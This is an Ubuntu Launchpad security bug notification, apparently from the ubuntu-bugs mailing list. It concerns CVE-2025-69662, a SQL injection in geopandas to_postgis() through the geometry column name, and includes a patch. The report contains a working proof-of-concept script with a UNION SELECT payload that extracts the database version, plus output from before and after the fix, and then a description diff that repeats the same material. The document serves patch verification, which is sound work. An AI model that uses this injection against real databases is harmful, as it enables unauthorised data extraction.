*** This bug is a security vulnerability *** Public security bug reported:
CVE: https://ubuntu.com/security/CVE-2025-69662 Upstream fix: https://github.com/geopandas/geopandas/pull/3681 The original upstream fix modified 3 files: - the actual py file, the fix was applied on a version `geopandas/io/sql.py` that had f-string. - the test, `geopandas/io/tests/test_sql.py` that does not currently exist for `python3-geopandas` version `0.14.3-2`. - the changelog md file. - Only `geopandas/io/sql.py` was touched. Tested with multipass on aarch64 mac ``` multipass launch 24.04 --name test2 --disk 25G multipass shell test2 sudo apt-get update && sudo apt-get upgrade -y && \ sudo apt-get install python3-geopandas python3-sqlalchemy postgresql postgresql-client python3-geoalchemy2 postgresql-postgis -y && \ sudo reboot multipass shell test2 sudo -u postgres psql -c "CREATE USER ubuntu WITH PASSWORD 'insecure' SUPERUSER;" sudo -u postgres psql -c "DROP DATABASE IF EXISTS db1;" && \ sudo -u postgres psql -c "CREATE DATABASE db1 OWNER ubuntu;" && \ sudo -u postgres psql -d db1 -c "CREATE EXTENSION postgis;" cat << 'EOF' > ~/script1.py import geopandas as gpd from shapely.geometry import Point from sqlalchemy import create_engine import re engine = create_engine("postgresql://ubuntu:insecure@localhost:5432/db1") # Step 1: Create table with geometry column named 'geom' gdf_normal = gpd.GeoDataFrame(geometry=[Point(0, 0)], crs='EPSG:4326') gdf_normal = gdf_normal.rename_geometry('geom') gdf_normal.to_postgis(name="test_table", con=engine, if_exists="replace") print("✅ Table created with 'geom' column") # Step 2: Exploit - Find_SRID('public','test_table','geom') now succeeds, then UNION runs gdf_exploit = gpd.GeoDataFrame(geometry=[Point(1, 1)], crs='EPSG:4326') gdf_exploit = gdf_exploit.rename_geometry("geom') UNION SELECT CAST(version() AS int); --") try: gdf_exploit.to_postgis(name="test_table", con=engine, if_exists="append") except Exception as e: match = re.search(r'invalid input syntax for (?:type )?integer: "([^"]+)"', str(e)) if match: print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}") else: print(f"Raw error: {e}") EOF ``` Before patched ``` ubuntu@test2:~$ python3 script1.py ✅ Table created with 'geom' column ✅ EXTRACTED PostgreSQL version: PostgreSQL 16.11 (Ubuntu 16.11-0ubuntu0.24.04.1) on aarch64-unknown-linux-gnu, compiled by gcc (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, 64-bit ubuntu@test2:~$ ``` After patched: ``` ubuntu@cve:~$ python3 script1.py ✅ Table created with 'geom' column Raw error: (psycopg2.errors.RaiseException) find_srid() - could not find the corresponding SRID - is the geometry registered in the GEOMETRY_COLUMNS table? Is there an uppercase/lowercase mismatch? CONTEXT: PL/pgSQL function find_srid(character varying,character varying,character varying) line 17 at RAISE [SQL: SELECT Find_SRID(%(schema_name)s, %(name)s, %(geom_name)s);] [parameters: {'schema_name': 'public', 'name': 'test_table', 'geom_name': "geom') UNION SELECT CAST(version() AS int); --"}] (Background on this error at: https://sqlalche.me/e/14/2j85) ubuntu@cve:~$ ``` ** Affects: python-geopandas (Ubuntu) Importance: Undecided Status: New ** Patch added: "CVE-2025-69662.debdiff" https://bugs.launchpad.net/bugs/2141884/+attachment/5946246/+files/CVE-2025-69662.debdiff ** CVE added: https://cve.org/CVERecord?id=CVE-2025-69662 ** Information type changed from Private Security to Public Security ** Description changed: CVE: https://ubuntu.com/security/CVE-2025-69662 Upstream fix: https://github.com/geopandas/geopandas/pull/3681 The original upstream fix modified 3 files: - the actual py file, the fix was applied on a version `geopandas/io/sql.py` that had f-string. - the test, `geopandas/io/tests/test_sql.py` that does not currently exist for `python3-geopandas` version `0.14.3-2`. - the changelog md file. - Only `geopandas/io/sql.py` was touched. Tested with multipass on aarch64 mac ``` multipass launch 24.04 --name test2 --disk 25G - multipass shell test2 + multipass shell test2 sudo apt-get update && sudo apt-get upgrade -y && \ - sudo apt-get install python3-geopandas python3-sqlalchemy postgresql postgresql-client python3-geoalchemy2 postgresql-postgis -y && \ - sudo reboot + sudo apt-get install python3-geopandas python3-sqlalchemy postgresql postgresql-client python3-geoalchemy2 postgresql-postgis -y && \ + sudo reboot multipass shell test2 sudo -u postgres psql -c "CREATE USER ubuntu WITH PASSWORD 'insecure' SUPERUSER;" sudo -u postgres psql -c "DROP DATABASE IF EXISTS db1;" && \ - sudo -u postgres psql -c "CREATE DATABASE db1 OWNER ubuntu;" && \ - sudo -u postgres psql -d db1 -c "CREATE EXTENSION postgis;" + sudo -u postgres psql -c "CREATE DATABASE db1 OWNER ubuntu;" && \ + sudo -u postgres psql -d db1 -c "CREATE EXTENSION postgis;" cat << 'EOF' > ~/script1.py import geopandas as gpd from shapely.geometry import Point from sqlalchemy import create_engine import re engine = create_engine("postgresql://ubuntu:insecure@localhost:5432/db1") # Step 1: Create table with geometry column named 'geom' gdf_normal = gpd.GeoDataFrame(geometry=[Point(0, 0)], crs='EPSG:4326') gdf_normal = gdf_normal.rename_geometry('geom') gdf_normal.to_postgis(name="test_table", con=engine, if_exists="replace") print("✅ Table created with 'geom' column") # Step 2: Exploit - Find_SRID('public','test_table','geom') now succeeds, then UNION runs gdf_exploit = gpd.GeoDataFrame(geometry=[Point(1, 1)], crs='EPSG:4326') gdf_exploit = gdf_exploit.rename_geometry("geom') UNION SELECT CAST(version() AS int); --") try: - gdf_exploit.to_postgis(name="test_table", con=engine, if_exists="append") + gdf_exploit.to_postgis(name="test_table", con=engine, if_exists="append") except Exception as e: - match = re.search(r'invalid input syntax for (?:type )?integer: "([^"]+)"', str(e)) - if match: - print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}") - else: - print(f"Raw error: {e}") + match = re.search(r'invalid input syntax for (?:type )?integer: "([^"]+)"', str(e)) + if match: + print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}") + else: + print(f"Raw error: {e}") EOF ``` Before patched ``` - ubuntu@test2:~$ python3 script1.py + ubuntu@test2:~$ python3 script1.py ✅ Table created with 'geom' column ✅ EXTRACTED PostgreSQL version: PostgreSQL 16.11 (Ubuntu 16.11-0ubuntu0.24.04.1) on aarch64-unknown-linux-gnu, compiled by gcc (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, 64-bit - ubuntu@test2:~$ + ubuntu@test2:~$ ``` After patched: ``` - did i fix it? - - ``` - ubuntu@cve:~$ python3 script1.py + ubuntu@cve:~$ python3 script1.py ✅ Table created with 'geom' column Raw error: (psycopg2.errors.RaiseException) find_srid() - could not find the corresponding SRID - is the geometry registered in the GEOMETRY_COLUMNS table? Is there an uppercase/lowercase mismatch? CONTEXT: PL/pgSQL function find_srid(character varying,character varying,character varying) line 17 at RAISE [SQL: SELECT Find_SRID(%(schema_name)s, %(name)s, %(geom_name)s);] [parameters: {'schema_name': 'public', 'name': 'test_table', 'geom_name': "geom') UNION SELECT CAST(version() AS int); --"}] (Background on this error at: https://sqlalche.me/e/14/2j85) - ubuntu@cve:~$ + ubuntu@cve:~$ ``` -- You received this bug notification because you are a member of Ubuntu Bugs, which is subscribed to Ubuntu. https://bugs.launchpad.net/bugs/2141884 Title: CVE-2025-69662: SQL injection in geopandas to_postgis() via geometry column name To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python-geopandas/+bug/2141884/+subscriptions -- ubuntu-bugs mailing list [email protected] https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
